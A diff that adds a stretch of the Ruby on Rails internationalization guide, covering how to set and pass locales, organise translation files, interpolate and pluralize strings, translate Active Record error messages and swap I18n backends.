+This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+
+The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
+
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
+
+The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+<ruby>
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+</ruby>
+
+h4. Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+<ruby>
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+</ruby>
+
+h4. Setting and Passing the Locale
+
+If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. Sometimes there are exceptions to this rule and those are discussed below.
+
+The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this:
+
+<ruby>
+before_filter :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+</ruby>
+
+This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
+
+h4. Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL.
+* People intuitively grasp in which language the content will be displayed.
+* It is very trivial to implement in Rails.
+* Search engines seem to like that content in different languages lives at different, inter-linked domains.
+
+You can implement it like this in your +ApplicationController+:
+
+<ruby>
+before_filter :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale  : nil
+end
+</ruby>
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+<ruby>
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+</ruby>
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+<ruby>
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+</ruby>
+
+assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+h4. Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our +ApplicationController+ then:
+
+<ruby>
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug "default_url_options is passed options: #{options.inspect}\n"
+  { :locale => I18n.locale }
+end
+</ruby>
+
+Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Dutch locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+scoping+":http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html option in this way:
+
+<ruby>
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+</ruby>
+
+Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Dutch locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
+
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
+
+<ruby>
+# config/routes.rb
+scope "(:locale)", :locale => /en|nl/ do
+  resources :books
+end
+</ruby>
+
+With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified.
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +root :to => "books#index"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+<ruby>
+# config/routes.rb
+match '/:locale' => 'dashboard#index'
+</ruby>
+
+Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.)
+
+NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
+
+h4. Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
+
+
+h5. Using +Accept-Language+
+
+One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
+
+A trivial implementation of using an +Accept-Language+ header would be:
+
+<ruby>
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+</ruby>
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
+
+h5. Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+
+h5. User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+h3. Internationalizing your Application
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+<ruby>
+# config/routes.rb
+Yourapp::Application.routes.draw do
+  root :to => "home#index"
+end
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
+
+h4. Adding Translations
+
+Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
+
+<ruby>
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
+
+!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
+
+NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+<ruby>
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+</ruby>
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+!images/i18n/demo_translated_en.png(rails i18n demo translated to English)!
+
+And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
+
+!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+
+h4. Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+<ruby>
+# app/views/home/index.html.erb
+<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
+
+# config/locales/en.yml
+en:
+  greet_username: "%{message}, %{user}!"
+</ruby>
+
+h4. Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
+
+<ruby>
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, :format => :short %></p>
+</ruby>
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+<ruby>
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+</ruby>
+
+So that would give you:
+
+!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use.
+
+h4. Inflection Rules For Other Locales
+
+Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In +config/initializers/inflections.rb+, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+
+h4. Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+h4. Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your +config/locales+ directory could look like this:
+
+<pre>
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+</pre>
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+<ruby>
+  # config/application.rb
+  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+</ruby>
+
+Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
+
+h3. Overview of the I18n API Features
+
+You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* using safe HTML translations
+* localizing dates, numbers, currency, etc.
+
+h4. Looking up Translations
+
+h5. Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+<ruby>
+I18n.t :message
+I18n.t 'message'
+</ruby>
+
+The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+
+<ruby>
+I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+This looks up the +:record_invalid+ message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+<ruby>
+I18n.translate "activerecord.errors.messages.record_invalid"
+</ruby>
+
+Thus the following calls are equivalent:
+
+<ruby>
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', :scope => :active_record
+I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
+I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+h5. Defaults
+
+When a +:default+ option is given, its value will be returned if the translation is missing:
+
+<ruby>
+I18n.t :missing, :default => 'Not here'
+# => 'Not here'
+</ruby>
+
+If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
+
+<ruby>
+I18n.t :missing, :default => [:also_missing, 'Not here']
+# => 'Not here'
+</ruby>
+
+h5. Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+<ruby>
+I18n.t [:odd, :even], :scope => 'errors.messages'
+# => ["must be odd", "must be even"]
+</ruby>
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+<ruby>
+I18n.t 'activerecord.errors.messages'
+# => { :inclusion => "is not included in the list", :exclusion => ... }
+</ruby>
+
+h5. "Lazy" Lookup
+
+Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+<yaml>
+es:
+  books:
+    index:
+      title: "Título"
+</yaml>
+
+you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
+
+<ruby>
+<%= t '.title' %>
+</ruby>
+
+h4. Interpolation
+
+In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
+
+All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
+
+<ruby>
+I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
+I18n.translate :thanks, :name => 'Jeremy'
+# => 'Thanks Jeremy!'
+</ruby>
+
+If a translation uses +:default+ or +:scope+ as an interpolation variable, an +I18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
+
+h4. Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
+
+The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+<ruby>
+I18n.backend.store_translations :en, :inbox => {
+  :one => '1 message',
+  :other => '%{count} messages'
+}
+I18n.translate :inbox, :count => 2
+# => '2 messages'
+</ruby>
+
+The algorithm for pluralizations in +:en+ is as simple as:
+
+<ruby>
+entry[count == 1 ? 0 : 1]
+</ruby>
+
+I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
+
+h4. Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
+
+If no locale is passed, +I18n.locale+ is used:
+
+<ruby>
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+</ruby>
+
+Explicitly passing a locale:
+
+<ruby>
+I18n.t :foo, :locale => :de
+I18n.l Time.now, :locale => :de
+</ruby>
+
+The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
+
+<ruby>
+I18n.default_locale = :de
+</ruby>
+
+h4. Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+<ruby>
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+</ruby>
+
+!images/i18n/demo_html_safe.png(i18n demo html safe)!
+
+h3. How to Store your Custom Translations
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
+
+For example a Ruby Hash providing translations can look like this:
+
+<ruby>
+{
+  :pt => {
+    :foo => {
+      :bar => "baz"
+    }
+  }
+}
+</ruby>
+
+The equivalent YAML file would look like this:
+
+<ruby>
+pt:
+  foo:
+    bar: baz
+</ruby>
+
+As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
+
+Here is a "real" example from the Active Support +en.yml+ translations YAML file:
+
+<ruby>
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+</ruby>
+
+So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
+
+<ruby>
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', :scope => :date
+I18n.t :short, :scope => 'date.formats'
+I18n.t :short, :scope => [:date, :formats]
+</ruby>
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+h4. Translations for Active Record Models
+
+You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+<ruby>
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+</ruby>
+
+Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
+
+h5. Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a validation for the name attribute like this:
+
+<ruby>
+class User < ActiveRecord::Base
+  validates :name, :presence => true
+end
+</ruby>
+
+The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
+
+<ruby>
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+</ruby>
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+<ruby>
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+</ruby>
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+<ruby>
+class Admin < User
+  validates :name, :presence => true
+end
+</ruby>
+
+Then Active Record will look for messages in this order:
+
+<ruby>
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+</ruby>
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+h5. Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your %{attribute}"+.
+
+* +count+, where available, can be used for pluralization if present:
+
+|_. validation                 |_.with option              |_.message                  |_.interpolation|
+| confirmation    | -                         | :confirmation             | -|
+| acceptance      | -                         | :accepted                 | -|
+| presence        | -                         | :blank                    | -|
+| length          | :within, :in              | :too_short                | count|
+| length          | :within, :in              | :too_long                 | count|
+| length          | :is                       | :wrong_length             | count|
+| length          | :minimum                  | :too_short                | count|
+| length          | :maximum                  | :too_long                 | count|
+| uniqueness      | -                         | :taken                    | -|
+| format          | -                         | :invalid                  | -|
+| inclusion       | -                         | :inclusion                | -|
+| exclusion       | -                         | :exclusion                | -|
+| associated      | -                         | :invalid                  | -|
+| numericality    | -                         | :not_a_number             | -|
+| numericality    | :greater_than             | :greater_than             | count|
+| numericality    | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
+| numericality    | :equal_to                 | :equal_to                 | count|
+| numericality    | :less_than                | :less_than                | count|
+| numericality    | :less_than_or_equal_to    | :less_than_or_equal_to    | count|
+| numericality    | :odd                      | :odd                      | -|
+| numericality    | :even                     | :even                     | -|
+
+h5. Translations for the Active Record +error_messages_for+ Helper
+
+If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
+
+Rails ships with the following translations:
+
+<yaml>
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+</yaml>
+
+h4. Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+h5. Action View Helper Methods
+
+* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
+
+* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
+
+* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
+
+h5. Active Model Methods
+
+* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* +ActiveModel::Errors#generate_message+ (which is used by Active Model validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+* +ActiveModel::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to +"%{attribute} %{message}"+).
+
+h5. Active Support Methods
+
+* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
+
+h3. Customize your I18n Setup
+
+h4. Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+<ruby>
+I18n.backend = Globalize::Backend::Static.new
+</ruby>
+
+You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+
+<ruby>
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+</ruby>
+
+h4. Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+<ruby>
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+</ruby>
+
